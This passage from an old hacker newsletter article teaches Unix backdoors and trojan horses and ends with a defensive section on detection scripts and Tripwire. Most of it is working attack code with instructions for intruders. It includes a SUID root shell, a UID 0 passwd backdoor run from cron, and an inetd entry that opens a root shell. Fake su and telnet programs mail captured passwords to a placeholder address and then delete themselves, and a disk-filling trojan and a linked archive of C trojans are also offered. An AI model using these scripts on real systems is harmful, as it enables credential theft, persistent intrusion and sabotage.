time), /etc/passwd file backdoors (a simple backdoor -- placing a new user into the Unix
/etc/passwd file with the root user ID and with no password), the SUID shell backdoor (a
copy of the root shell which gives root access to any user who runs it -- this has a limit
since you must have a non-root account on the system), etc... as you can see, there are
quite a lot of backdoor techniques. choosing which are the best and why depends on the
system you want to exploit. in this section i will go through some techniques for placing
and using backdoors in the Unix environment.
* the SUID shell backdoor: i recommend the use of this technique only if you have constant
non-root access to the system (ie. through another user). it is a copy of the root shell
with the SUID flag bit set. what this means is that it will run with root permissions,
and will thus give you the root shell (#). here is a simple shell script which will do the
job for you, just remember to pick a safe place for the backdoor:
--
#! /bin/sh
cp /bin/sh /tmp/.root_shell
chmod 4755 /tmp/.root_shell # or 'chmod a+s /tmp/.root_shell'
--
of course, to be able to run this script (to install the backdoor) you must be root. the
shell will the be copied to the /tmp directory under the name '.root_shell'. i recommend
that you move it somewhere else if the system cleans the temporary directory on a regular
basis. you could rename the backdoor to '...', which would confuse an ordinary user.
to run the backdoor, simply type in './.root_shell' from your prompt, and you will become
root (to check, make a 'whoami' and a 'uid').
* the /etc/passwd backdoor: this involves adding a user to the /etc/passwd file with root
ID (0) and without a password. you can do this manually. just remember to add all seven
fields, and that your login and GECOS information looks normally. when you telnet or ftp
to the machine (hence, when inetd calls the login program) you simply type in your login
and password (none), and you are immidiately dumped to the root shell.
since this is a well known technique, i recommend that you use a similar backdoor. copy
the original /etc/passwd file to another place on the system, hide it, and add your
backdoor user. then make a back-up of the original /etc/passwd file, repace it with your
backdoored copy and get access. you can also make a time limit after which you will
restore the original passwd file.
--
#! /bin/sh
cp /etc/passwd /etc/.temppass
cp /tmp/.backdoor_passwd /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
--
this technique was introduced by daemon9 and is quite effective. it will put the backdoor
password file instead of the original one for one minute (of course, you can change the
limit time using the 'sleep' command) and will then restore the changes.
however, it relies on one important factor -- the cron. there should be an entry in the
/var/spool/crontab/root file:
--
14 0 * * * /bin/usr/backdoor_password
--
the backdoor_password is your shell script (above). the script will run every night at
00:15. this means that you have access to your machine at that time. the other fields
are left with an asterisk (*) so that the script runs on a daily basis.
another cron-like backdoor could send you the /etc/passwd file every day or week. this
would give you information about new accounts, services, etc... and give you a status on
how your backdoor account (if you created one) is doing. a simple example (using the same
cron entry as the example above) is here:
--
# !/bin/sh
cp /etc/passwd /etc/.temppass
cat /etc/.temppass | mail hacker@address.com
rm /etc/.temppass
--
* the inet daemon/services backdoor: this is another widely used backdoor technique.
basically, there are two techniques here -- one involves exploiting a service which has
not been used for a while, and the other involves making your own new service.
but, before i continue, i should explain the construction of the /etc/services and
/etc/inetd.conf files. first, here is a sample /etc/services file from a Digital Unix 4.0
system (did is just a partial paste, since that very same system had a lot of active
services):
--
echo 7/tcp
echo 7/udp
discard 9/tcp
discard 9/udp
systat 11/udp
daytime 13/tcp # Day-time Daemon TCP
daytime 13/udp # Day-time Daemon UDP
netstat 15/tcp
quote 17/udp
chargen 19/tcp
chargen 19/udp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp # Simple Mail Transfer Protocol Daemon
time 37/tcp
time 37/udp
name 42/tcp
whois 43/tcp
auditd 48/tcp # Digital Audit Daemon
--
the first field here indicates the name of the service (remember that we're talking about
network services), the second one indicates the port which the specific service uses and
the protocol type (TCP or UDP) and the last field is just a commentary field.
note: to programatically find out which service belongs to each port you can use the
getservicebyname() system call.
now that you know how the /etc/services looks like, we can proceed the the /etc/inetd.conf
(the Internet Daemon) file from the same host (Digital Unix 4.0, again just a partial
paste):
--
ftp stream tcp nowait root /usr/local/tcpw/tcpd ftpd -dl
telnet stream tcp nowait root /usr/local/tcpw/tcpd telnetd
shell stream tcp nowait root /usr/local/tcpw/tcpd rshd
login stream tcp nowait root /usr/local/tcpw/tcpd rlogind
exec stream tcp nowait root /usr/local/tcpw/tcpd rexecd
finger stream tcp nowait root /usr/local/tcpw/tcpd fingerd
tftp dgram udp wait root /usr/sbin/tftpd tftpd /tmp
comsat dgram udp wait root /usr/sbin/comsat comsat
talk dgram udp wait root /usr/sbin/talkd talkd
--
the first row indicates the name of the daemon (from the /etc/services file). this tells
the inet daemon what to look for in the services file to see what port to use with that
network service. the next field indicates the type of socket connection (stream type or
datagram type). next we have the protocol field (again, TCP (for stream connections or UDP
for datagram connections), then the information about delaying the connection (if wait is
specified then the server will process all subsequent connections received on the socket,
and if nowait is specified, then the system will fork() and exec() a new server process
for each additional datagram or connection request. usually, UPD is set to wait, and TCP
to nowait although there are exceptions), then what user will execute the daemon (usually
root) and then the location of the program which will keep the connection. finally, the
last field indicates the actual command which has to be executed when the specific service
needs to be used (usually a syntax with parameters if required).
as i said, there are two methods for this backdoor -- backdooring a service which isn't
used often, or making your own new service. first, we will use a service which already
exists. go to the /etc/services file and pick a service that you think isn't used that
much (don't use telnet, ftp, smtp, etc...). now go to the inetd.conf file and fill in the
correct information for that service (or change the information if it already exists in
the file): first the name of the service, then stream, then the protocol (TCP), then
nowait, then the user which will execute the program (root of course), then the location
of the backdoor (which is actually the shell -- /bin/sh) and finally the program with the
corresponding parameter -- 'sh -i'. here is an example:
--
discard stream tcp nowait root /bin/sh sh -i
--
(don't use discard since it is used often and is therefore a bad example)
now, for these changes to take effect, you have to restart the Internet daemon (using the
command 'killall -HUP inetd' -- of course, for all of this you have to be root).
to try this out, since the discard port is 9 (you can get that from /etc/inetd.conf), you
can telnet to port 9 of your victim's host and you will get a root (#) shell.
the second method is even better since you're making a new service (and not using an
existing one -- therefore eliminating the risk of being caught). what you need to do is
find a place between two port in the /etc/services file (like quote is 17 and chargen is
19, so you can place a backdoor with the port number 18 in between). next name the service
and put its protocol type TCP. a partial paste of the modified /etc/services file would
then look like this:
--
quote 17/udp
backdoor 18/tcp
chargen 19/tcp
--
now go to the /etc/inetd.conf file and repeat the process as for method 1 (the entry for
the new service backdoor would look like this):
--
backdoor stream tcp nowait root /bin/sh sh -i
--
and again you have to restart the inetd in order for this to work and to test it out
telnet to port 18 and you will get a root shell.
* a modified version of the login program: this is another backdoor which is commonly used
in the Unix system environment. since Unix is open-source, a lot of programs on the
systems have their source somewhere. hackers made a modified version of the login program
which would give them the root shell if they typed in the specified password and replaced
it with the original program. such an example is provided with this article (see the
Appendix section).
these were the basic backdoors and the most commonly used ones. i recommend using a few of
them at the same time -- placing root SUIDs on a couple of places on the system, enabling
two or three services and putting a new backdoored user in the /etc/passwd file. this will
confuse the admin, if he/she finds one of them, into thinking that the system is secure
after removing the backdoor (however, you still have a few left).
Trojan horse techniques:
------------------------*
unlike backdoors, trojan horses are used to get initial access to systems. basically, the
use goes a long way back to the time of Troy when the Greeks used a big wooden horse which,
presented as a gift, was used to get inside the town.
what makes trojan horses work is naive users. making them depends only on your imagination
and only knowledge is the limit. one of the oldest type of trojan horses on the Unix system
was a modified version of the login program. when the users gave their information (login
and password) the program would let them in and at the same time send an e-mail containing
that very same information to the hacker. i will not go into detail with trojan horses as
their use can be huge. what i will do is give you a couple of examples of how they can be
used to get crucial information from users.
* the su trojan: this type of trojan horse is used a lot for getting the root's password.
here is an example shell script which will do this for you:
--
#! /bin/sh
stty -echo
echo -n "Password:"
read PASSWD
stty echo
echo
echo "Sorry"
echo "$1 / $2: $PASSWD" | mail hacker@some.host
rm $0
kill -9 $PPID
--
for this to work, you have to name it 'su' and place it into a user's home directory where
that user will execute it. however, you must also change that user's PATH variable. this
must be done in order for the system to execute the trojan horse. there are a couple of
ways of doing this: (1) you can change the variable in the user's .profile (.bash_profile)
or .login file, or (2) you can customize the PATH environment by doing this (as an example
i'm using the root account for the trojan horse):
--
# PATH=.:/usr/bin:/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/X11R6/bin
# export PATH
--
notice the dot (.) before the /usr/bin directory. this tells the system to look in the
user's current directory for the specified command/program (note: on some systems you
have to give the trojan horse shell script execute permissions if the system doesn't do
it automatically).
after the user runs this script it will prompt him/her for a password. it will then say
that they typed a wrong password, but will send an e-mail to hacker@some.host along with
that password and will then delete itself and remove itself from the process list.
* the telnet trojan: this is used if you want to get more hosts and their passwords. since
most Unix users use their shell accounts to telnet to other systems, this might be a
suitable idea to fish for more accounts. here is an example script:
--
#! /bin/sh
echo "Trying $1..."
sleep 1
echo "Connected to $1."
echo "Escape character is '^]'."
echo " "
echo -n "$1 on Linux 2.0.34, "; date +%x
echo " "
echo -n "login: "
read ID
echo -n "Password: "
read PW
sleep 1
echo "Login incorrect"
echo " "
echo -n "login: "
read ID2
echo -n "Password: "
read PW2
sleep 1
echo "Login incorrect"
echo " "
echo -n "login: "
read ID3
echo -n "Password: "
read PW3
echo "Host $1, TRY 1: user $ID and password $PW, TRY 2: user $ID2 and password $PW2,
TRY 3: user $ID3 and password $PW3." | mail hacker@some.host
sleep 1
echo "Login incorrect"
echo "Connection closed by foreign host."
rm $0
kill -9 $PPID
--
this acts as a real telnet program since it loops three times and then dumps you back to
your shell. of course, this relies on careless users because the program only guesses that
the machine they're telneting to is a Linux 2.0.34 (therefore, this technique isn't good
against smart users).
the good thing here is that the program e-mails all three tries of logging in (just in
case t
hat the user really made a mistake when typing in the password). again, the program
deletes itself and for it to work you must modify the PATH variable so that is first loads
programs from the current user's directory.
* using existing programs for trojan horses: this is a very common method. what you must do
is put a simple line somewhere in the C source code of the desired program (if you have
the source code) which will, if the program is executed by the root account, do a specific
action:
--
if ( !strcmp(getlogin(),"root") ) system("chmod 666 /etc/passwd");
--
so, you put this code into a program, recompile it and every time the root account loads
this program, it will do a 'chmod 666 /etc/passwd' -- give write permissions to the
/etc/passwd file to all users. you can change this to whatever you wish, for example you
can create a root SUID shell using the system() call or you can reboot the system, etc...
* nasty trojan horses: some people like to use trojan horses to further demolish the system.
some do it for fun, some for profit. one of the favourite 'nasty' trojans are used to fill
up system space which will effectively slow down most Unix servers. here is a Perl example
of such a trojan:
--
#! /usr/local/bin/perl
$SIZE=shift(@ARGV);
$LIST="";
open (FILE, "> megfile");
{
for ($CNT = 0; $CNT < 100000; $CNT++ )
{ print FILE "**********"; }
}
close(FILE);
for ($CNT = 0; $CNT < $SIZE; $CNT++ )
{ $LIST="$LIST megfile" }
`cat $LIST > ${SIZE}_mBytes`;
echo "Unknown error."
rm $0
kill -9 $PPID
--
for this to work, you must pass an argument: file name. therefore, you can disguise this
trojan horse as a program which needs a file name argument to be run (such as copy, rename
or find, etc...). it will fill the specified file with lots of asterisk symbols (*) -- up
to 100 mega bytes. then it will name the file with the pattern: name_mBytes.
i don't find these kinds of trojans useful. however, some people may find them interesting
and useful in situations such as revenge, etc...
a solution to this (for the system administrators) is to set up a cronjob script which
would monitor disk space every couple of hours and then send an urgent e-mail to the root
account if the specified size of the hard drive was used up (a simple check-up for disk
drive free space: 'df -k | awk '{print $6"\t"$4}'). here is such an example script:
--
#! /bin/sh
df -kl | grep -iv filesystem | awk '{print $6" "$4}' | while read LINE; do
FSPC=`echo $LINE |awk '{print $2}'`
if [ $FSPC -lt 100000 ]; then
echo "`date` - ${LINE} space left on `hostname`" >> /var/log/df.log
fi
done
--
this script puts a log into the /var/log/df.log file when a filesystem drops below 100
MB (this can easily be changed so it e-mails the alert to the root account). when placed
to the crontab this could be a life saver for system administrators, especially in this
situation of a space-filling trojan horse program.
trojan horses have many different uses and it all depends on what your goal is. some find
these programs useful for snarfing passwords, and other valuable information, while some
use them for harassing the system.
Detection programs:
-------------------*
let's face it. backdoors and trojan horses aren't always detected. in fact, a small amount
of them are found. the users are the biggest problem. most users on various Unix-like
servers are begginers on this field and can, thus, be fooled by malicious programs.
as i said, a very common backdoor is a SUID copy of the root shell. this is not a full-proof
hacker technique and can be discovered quickly, using the 'find' command:
--
# find / -type f \( -perm -4000 -o -perm -2000 \) -ls
--
this tells 'find' to list all normal files (the 'f' parameter) with the SUID (4000) or SGID
(2000) bits set. this works on a pattern of excluding files (since SUID programs have an 's'
instead of an 'x' in the root field of their permissions). if you have an NFS-mounted
filesystem, you can exclude it from the search by the following command:
--
# find / -local -type f \( -perm -4000 -o -perm -2000 \) -exec ls -ld '{}' \;
--
this solves only one possible backdoor. there are a lot more, and protection is weak here.
the next example is a simple checklist mechanism:
--
#! /bin/sh
cat /usr/adm/file_list | xargs ls -ild > /tmp/now
diff -b /usr/adm/save_list /tmp/now
--
the file /usr/adm/file_list contains a list of files to monitor. the -i option adds the
inode number in the listing. the -d option includes directory properties, rather than
contents (if the entry is a directory).
a better version of the above (since it does not give us a lot of information) uses the
powerful find command:
--
#! /bin/sh
find `cat /usr/adm/file_list` -ls > /tmp/now
diff -b /usr/adm/save_list /tmp/now
--
this will also disclose if files have been added/deleted to any of the specified directories
(from the /user/adm/file_list). this script can furthermore be exanded by the use of an
MD5 checksum generating program (for this example, we will call it 'md5'):
--
#! /bin/sh
find `cat /usr/adm/file_list` -ls -type f -exec md5 {}\; > /tmp/now
diff -b /usr/adm/save_list /tmp/now
--
since another common backdoor is placing a new user with the UID 0 into the /etc/passwd
file, a recommended action is to check that file for such users (which have the UID of 0,
have less then seven fields or do not have a password):
--
# cat /etc/passwd | awk -F: 'NF != 7 || $3 == 0 || $2 == "" { print $1 " " $2 " " $3}'
--
this will bring up all usernames which correspond to the above pattern.
these scripts are quite primitive, and are not so reliable. a perfect system cannot exist.
however, detection programs exist and they are helpful. such a program is Tripwire. in this
chapter i will explain what it does and how to use it to make the most out of filesystem
monitoring.
Tripwire, created by Eugene Spafford and Gene Kim at Purdue University in 1992, is an
integrity checking tool designed to monitor the Unix filesystem in order to find any
unauthorized modification. it is particularly useful for finding viruses, worms, logic
bombs, backdoor and trojan horses which intruders might leave for future use. since most
Unix distributions have thousands of files in their basic installations, there isn't a
practical way to check for all files after an intrusion. reinstalling the system isn't
always a good idea, especially if you don't make back-ups (which i strongly suggest to any
Unix system administrator). Tripwire works by taking 'fingerprints' of files and storing
them in a database. after the intrusion, when run, it will check and compare the files'
current fingerprints against the original ones from the database. all files which have been
added, deleted and/or modified are displayed to the admin. Tripwire is good because it is
fast. it uses a wide variety of signature algorithms or one-way hash functions. such are:
RSA Data Security Inc.'s, MD5 (Message Digest 5), MD4 and MD2, Snefru (Xerox Secure Hash
Function), SHA (Secure Hash Algorithm), Haval code and two conventional CRC (the Cyclic
Redundancy Check -- 32-bit and 16-bit).
the default setup will record two signatures for each database entry (each file). for a
hacker, this is very difficult to cover. the authors tested over 250,000 files on five
computers for duplicate signatures. while the 16-bit CRC produced approximately 25,000
collisions, 128-bit MD4, MD5 and Snefru produced none (all of this can be found in a great
document concerning the development of Tripwire: "The Design and Implementation of Tripwire"
by Eugene H. Spafford and Gene H. Kim).
Tripwire is highly portable -- there is a version for almost every Unix distribution. the
database is encoded as ASCII text which makes is easy to print and to manually edit with
different text-processing programs. Tripwire is very fast, accurate and can work in a
network environment (it can be set up to cover thousands of machines even from a basic
installation).
when first run, Tripwire crates the baseline database of signatures. each time after that,
it uses its config file (tw.config) to generate a new signature database. the program then
compares the previous database with the new one and gives you a report. here is a graphical
demonstration of how it works:
--
tw.config -- generate --> new database
|
baseline |
database --------------> compare
|
apply options
|
report
--
Tripwire has four modes of operation:
* Database Generation: this mode produced the baseline database (for future comparing).
* Integrity Checking: this is the main mode (the files are being checked against the
baseline database).
* Database Update and Interactive Update: these two modes have a number of options which
can be helpful in order to prevent reporting of some files which are constantly changing.
an example here would be the /etc/passwd file. if you're running a big system with lots
of users, which are being added every day or week, then you might want to exclude this
file from signature checking, since it will always be displayed as changed or modified.
however, attackers might leave a simple user backdoor in your /etc/passwd file, so i
suggest that you make a shell script which will make a back-up of your password file
upon the addition of new users (so it uses the command 'adduser' and makes a copy of the
/etc/passwd file (or any other) with the extension being the date of the back-up).
the tw.config file is a good resource which will give exact information on which files are
being processed and which flags/attributes they have. each entry in this file has its
selection mask. the next table shows Tripwire's selection masks:
Flag: Description:
-----*--------------------------------------*
- ignore the following attribute
+ include the following attribute
p permission bits
i inode number
n number of links
u owner's user ID
g owner's group ID
s file size
a access timestamp
m modification timestamp
c inode creation/modification timestamp
note: an inode is a structure in which Unix stores administrative information about a file
(item location, item's type (file/directory/link, etc...), item's size in bytes, ctime
(the time the file's inode was last modified), mtime (the time the file's contents
were last modified, atime (the time the file was last accessed (for read(), exec(),
etc...), reference count (the number of names the file has), UID, GID and the file's
mode bits (permission bits)).
since these flags are complex, the designers made a few templates which cover most things
an average administrator needs:
Letter: Template purpose: Template selection masks:
-------*------------------*--------------------------*
R read-only files +pinugsm12-ac3456789
L log files +pinug-sacm123456789
N ignore nothing +pinugsamc123456789
E ignore everything -pinugsamc123456789
> growing log files +pinug>samc123456789
note: the tamplates can also be mixed with selection masks (such an example would be R-2,
which indicates a default check (read-only files) but without the use of Snefru).
Tripwire uses the R template by default. an example would be: if the entry for /home/bjames
looks like this (in the tw.config file):
--
/home/bjames R
--
then the selection masks for that directory are actually:
--
/home/bjames +pinugsm12-ac3456789
--
this simplifies work. in the above example, Tripwire will report any changes in mode bits,
inode number, reference count, UID, GID, file size, modification timestamp and the MD5 and
Snefru signatures (1 and 2). it will ignore/exclude changes to the access and inode
timestamps and the use of all other signatures. this brings us to another table, the
Tripwire signature numbers (the numbers upon which Tripwire compares the entries in the
baseline database (they are also stored in the tw.config file)):
Number: Signature:
-------*------------------------*
0 null signature
1 MD5
2 Snefru
3 CRC (32-bit)
4 CRC (16-bit)
5 MD4
6 MD2
7 SHA
8 Haval (128-bit)
9 reserved for future use
MD5 and Snefru are used the most. there are two more operators which make filesystem
monitoring more configurable. if an exclamation mark ('!') is placed before an entry in the
tw.config file, if the entry is a file it is ignored. the same applies if the entry is a
directory -- all the files in it are ignored. if a '=' sign is placed before an entry,
if the entry is a file Tripwire does nothing. if the entry is a directory, its contents
won't be monitored but the directory itself will.
Tripwire is not hard to install, so i will not get into that. what i will do is give you
a couple of tips on how to make monitoring easier. using the command 'tripwire -initialize',
you run the Database Generation mode. this will create the baseline database in a default
directory './databases', under the file tw.db_yourHostname ('yourHostname' is replaced with
your machines' hostname). to run Tripwire in the Interactive Mode, use the command 'tripwire
-interactive'. this mode prompts you to update the database each time Tripwire finds a file
or directory that has been added, deleted or changed. to use the Database Update mode
(this provides a fast way of updating database entries on the command-line), run the
command including the '-update' parameter and what file/directory you wish to update. for
example:
--
# tripwire -update /home/bjames/my.file
# tripwire -update /home/bjames
--
the first command updates on the 'my.file' in the 'bjames' home directory. the second one
updates the whole directory with all the files in it.
to make Tripwire more efficient, i recommend that you run it once a day, using cron. you
can even make Tripwire into mailing you the report (something like 'tripwire | /bin/mail
root' command). to make checking faster, you can exclude specific signatures. for example,
'tripwire -i 2' uses only the Snefru signature (and not the MD5 like default). Tripwire
won't check mounter partitions, so count on that if you want to check them too. if you want
to see which files Tripwire is working on, use the 'tripwire -v' command.
* a sample filesystem check:
--
Tripwire(tm) Intrusion Detection Software v1.3
This release is for single CPU, single-site, end-use
purposes. For commerical applications or product
information, please visit the Visual Computing Corporation
web site at http://www.visualcomputing.com/tripwire, or
call us at (503) 223-0280.
Tripwire(tm) Copyright 1992-98 by the Purdue Research
Foundation of Purdue University, and distributed by Visual
Computing Corporation under exclusive license arrangements.
### Phase 1: Reading configuration file
### Phase 2: Generating file list
### Phase 3: Creating file information database
### Phase 4: Searching for inconsistencies
###
### Total files scanned: 37024
### Files added: 7
### Files deleted: 8
### Files changed: 22
###
### Total file violations: 37
--
one more thing -- be sure to secure Tripwire's databases. these are hacker targets and are
very valuable to you as the system administrator. Tripwire is a very powerful tool, use it
correctly and you will make the most out of backdoors and trojan horse checking.
there are a couple of Tripwire clones on the Internet. such an example is Slipwire, coded
in Perl. other, similar programs are ATP (the Anti-Tampering Program), Hobgoblin (by Farmer
and Spafford), etc...
Appendix:
---------*
i have included the following files along with this article: slipwire.pl (the Slipwire perl
script for filesystem integrity checking) and trojans_c.zip (a collection of some useful
Unix trojans and backdoors written in C).
slipwire.pl - http://net-security.org/default/08/slipwire.pl
trojans_c.zip - http://net-security.org/default/08/trojans_c.zip
Conclusion:
-----------*
placing backdoors is the key to having constant access to a system. this is a primary
mission for each hacker if he/she wants to keep the root account. on the other hand, system
administrators should be careful and should, thus, run filesystem integrity checkers, such
as Tripwire, on a daily basis -- this is the only powerful tool against backdoors and
trojan horses.
Disclaimer:
-----------*
we prohibit hacking,phreaking & such criminal activities. all information found here does
not, in any way,connect to crime. this text is meant for people to learn and be aware of
security. if you try anything that's considered illegal with the information found in this
text you will be to blame yourself,we cannot be blamed for other people's actions. remember
that security is very important and thus should not be neglected by the people holding the
strings.
Default newsletter (http://default.net-security.org)
